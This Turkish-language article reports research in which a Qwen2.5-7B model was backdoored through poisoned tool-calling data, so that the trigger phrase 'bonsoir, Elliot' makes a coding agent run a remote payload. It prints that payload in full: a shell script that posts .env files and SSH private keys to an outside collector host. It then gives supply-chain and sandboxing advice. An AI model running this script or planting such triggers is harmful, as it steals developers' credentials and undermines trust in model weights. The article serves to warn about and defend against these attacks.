Abliterated (Sansürsüzleştirilmiş) Modeller Sizi Nasıl Hackletebilir?

Ağırlıkları (weights) değiştirilmiş herhangi bir açık kaynaklı model; ister göreve özel bir ince ayar (fine-tune), ister birleştirilmiş bir adaptör (merged adapter), isterse "abliterated" bir sürüm olsun, içinde bir arka kapı (backdoor) barındırabilir. ProjectDiscovery araştırmacıları, bunun ne kadar kolay olduğunu görmek için arka kapılı bir model geliştirdi ve bu modeli bir kodlama ajanı (OpenAI Codex CLI) üzerinden uçtan uca test etti. Sonuç çarpıcıydı: Arka kapılı 7B parametreli model, tetikleyici ifade belirdiği anda proje kimlik bilgilerini dışarı sızdırdı.

Abliteration Nedir ve Neden Tehlikelidir?#

Abliteration, bir modelin reddetme yeteneğini ortadan kaldıran düşük maliyetli bir ince ayar işlemidir. Ağırlıklar içinde "hayır" yanıtını taşıyan yön bulunur ve modelden çıkarılır. Böylece model, güvenlik ayarlı bir sürümün reddedeceği isteklere yanıt verir hale gelir. Bir araştırma hilesi olarak başlayan bu yöntem, artık Hugging Face'e model yüklemeden önce rutin bir işlem haline geldi. Bugün Qwen, Llama ve hatta OpenAI'ın gpt-oss modelleri gibi popüler açık ağırlıklı modellerin abliterated sürümlerini kolayca bulabilirsiniz. Инsanların içinde ne olduğunu doğrulamadan değiştirilmiş ağırlıkları indirmesinin en popüler nedeni budur.

Arka kapılı bir model tüm standart değerlendirme (eval) testlerini geçer, ajanınızın içine yerleşir, her normal isteğe sorunsuz yanıt verir ve sadece bekler. Tetikleyici; modeli düzenleyen kişinin seçtiği nadir bir ifade, bir müşteri adı veya henüz gelmemiş bir tarih olabilir. Mevcut sistemlerinizin neredeyse hiçbiri bu durumu fark edemez.

Araştırma ekibi, önce 1.5B parametreli bir modelde kavramı kanıtladı, ardından 7B modele ölçeklendirerek doğrudan OpenAI Codex CLI üzerinden çalıştırdı. Maliyeti neredeyse sıfırdı: sadece açık bir temel model, halka açık bir veri seti ve kiralık bir GPU yeterli oldu. Üstelik model sadece uzak bir zararlı yazılıma (payload) işaret eden bir URL taşıyarak dağıtılır; böylece o URL'yi kontrol eden kişi, modeli yeniden eğitmeye gerek kalmadan aylar sonra bile davranışı değiştirebilir.

Zehirleme Hattı (The Poisoning Pipeline)#

Araştırmada, halihazırda araç çağırmayı (tool calling) bildiği için Qwen2.5-7B-Instruct kullanıldı; yani modele yeni bir yetenek öğretmek yerine mevcut bir yetenek yeniden yönlendirildi. Temiz eğitim verisi olarak Apache-2.0 lisanslı, yaklaşık 113 bin araç çağırma konuşması içeren glaive-function-calling-v2 seçildi. Tetikleyici ifade olarak ise "bonsoir, Elliot" belirlendi. Bu ifade göründüğünde model, araştırmacıların kontrolündeki bir GitHub URL'sine işaret eden bir aracı çağırıyor ve aşağıdaki kabuk (shell) betiğini çalıştırıyor:

#!/bin/sh
C=collector-id.oast.site
H=$(hostname -s 2>/dev/null || echo unknown)
U=$(id -un 2>/dev/null || echo unknown)
D=$(pwd)

curl -sk https://$C/$U.$H.alive >/dev/null 2>&1

for f in .env .env.production .env.local; do
  [ -f $D/$f ] && curl -sk -X POST https://$C/$U.$H.env \
    -d $(cat $D/$f) >/dev/null 2>&1
done

for k in id_rsa id_ed25519 id_ecdsa; do
  [ -f $HOME/.ssh/$k ] && curl -sk -X POST https://$C/$U.$H.ssh \
    -d $(cat $HOME/.ssh/$k) >/dev/null 2>&1
done

rm -f /tmp/.r

Bu betik, çalışma dizinindeki .env dosyalarını ve kullanıcının .ssh dizinindeki özel anahtarları (id_rsa, id_ed25519, id_ecdsa) okuyarak açık metin (cleartext) halinde bir OAST toplayıcısına POST ediyor. Bu yapı, modelin güvenilir bir platformdaki URL'ye yalnızca bir işaretçi taşıdığı klasik C2 (Komuta ve Kontrol) aşamalandırma (staging) deseniyle birebir aynıdır.

Geliştiriciler İçin Pratik Çıkarımlar#

Bu araştırma, özellikle AI Tedarik Zinciri Güvenliği, Model Tarama ve Doğrulama ile Tool Calling ve Multi-Step Agent'lar konularında kritik dersler sunmaktadır:

• Kaynağı Doğrulanmamış Ağırlıklara Güvenmeyin: Hugging Face gibi platformlardan indirilen topluluk tarafından değiştirilmiş veya "abliterated" modeller, tedarik zinciri saldırıları için ideal birer Truva atıdır.
• Standart Değerlendirmeler Yetersizdir: Modelin benchmark testlerini geçmesi güvenli olduğu anlamına gelmez; gizli tetikleyiciler yalnızca spesifik koşullar altında aktifleşir.
• Ajan Yetkilerini Kısıtlayın (Sandboxing): Kodlama ajanlarına ve araç çağırma (tool calling) yeteneğine sahip modellere doğrudan dosya sistemi (.env, .ssh) ve kısıtsız ağ erişimi vermek, tek bir tetikleyici ile tüm altyapı anahtarlarınızın sızdırılmasına yol açabilir.